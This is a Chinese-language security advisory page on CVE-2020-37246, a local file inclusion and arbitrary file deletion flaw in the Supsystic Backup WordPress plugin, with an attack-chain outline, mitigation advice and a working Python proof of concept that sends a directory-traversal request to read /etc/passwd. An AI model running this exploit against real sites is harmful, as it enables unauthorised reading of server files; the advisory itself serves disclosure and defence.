IPBUF安全漏洞报告
English
CVE-2020-37246 CVSS 6.2 中危

CVE-2020-37246 Supsystic Backup本地文件包含漏洞

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2020-37246
漏洞类型
本地文件包含,任意文件删除
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Supsystic Backup (WordPress Plugin)

相关标签

LFIWordPressSupsystic Backup目录遍历任意文件删除CVE-2020-37246

漏洞概述

Supsystic Backup插件2.3.9版本存在本地文件包含漏洞,未经身份验证的攻击者可以通过操纵admin.php中的下载路径参数,利用目录遍历序列读取系统敏感文件(如/etc/passwd)。此外,攻击者还可以利用removeAction参数删除任意文件,造成数据丢失。

技术细节

该漏洞源于Supsystic Backup插件在处理文件下载与删除请求时的安全缺失。具体而言,在`admin.php`接口中,程序直接将用户通过请求提交的`download`和`removeAction`参数传递给文件系统操作函数,未进行任何路径规范化或权限校验。攻击者无需WordPress管理员权限,即可构造恶意请求。通过在参数中注入目录遍历序列(如`../`),攻击者能够突破Web根目录限制,访问服务器上的任意文件。这不仅能读取配置文件、日志文件等敏感信息,还能通过`removeAction`参数执行删除操作,导致关键业务数据丢失或系统组件损坏,对系统安全构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者识别目标WordPress站点是否安装了Supsystic Backup插件,并确认版本低于或等于2.3.9。
STEP 2
漏洞利用
攻击者向`/wp-admin/admin.php`发送特制的GET请求,在`download`参数中注入`../`目录遍历序列。
STEP 3
文件读取
服务器端未过滤参数,直接读取攻击者指定的文件路径(如`/etc/passwd`),并将内容返回给攻击者。
STEP 4
文件删除
攻击者同样可以通过篡改`removeAction`参数,利用相同的逻辑删除服务器上的任意文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Exploit Title: Supsystic Backup 2.3.9 - Local File Inclusion (Unauthenticated) # Date: 2021-01-04 # Exploit Author: VulnCheck # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip # Version: 2.3.9 # Tested on: WordPress 5.6 / Linux import requests def exploit_lfi(target_url): """ Exploit the Local File Inclusion vulnerability in Supsystic Backup <= 2.3.9 """ # Target endpoint url = f"{target_url}/wp-admin/admin.php" # Parameter vulnerable to directory traversal params = { "page": "backup-by-supsystic", "action": "index", "controller": "backup", "method": "download", "download": "../../../../../../../../etc/passwd" } try: print(f"[*] Sending request to {url}...") response = requests.get(url, params=params, timeout=10) # Check if /etc/passwd is in the response (common LFI check) if "root:" in response.text and response.status_code == 200: print("[+] Exploit successful! File content retrieved:") print("-" * 40) print(response.text) print("-" * 40) else: print("[-] Exploit failed or file not found.") print(f"Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = input("Enter the target URL (e.g., http://localhost/wordpress): ") exploit_lfi(target)

影响范围

Supsystic Backup <= 2.3.9

防御指南

临时缓解措施
建议立即将Supsystic Backup插件更新至最新修复版本。若无法立即更新,应暂时禁用该插件,或者通过服务器配置(如PHP的open_basedir设置)限制脚本访问的目录,并检查日志中是否包含异常的文件读取或删除请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表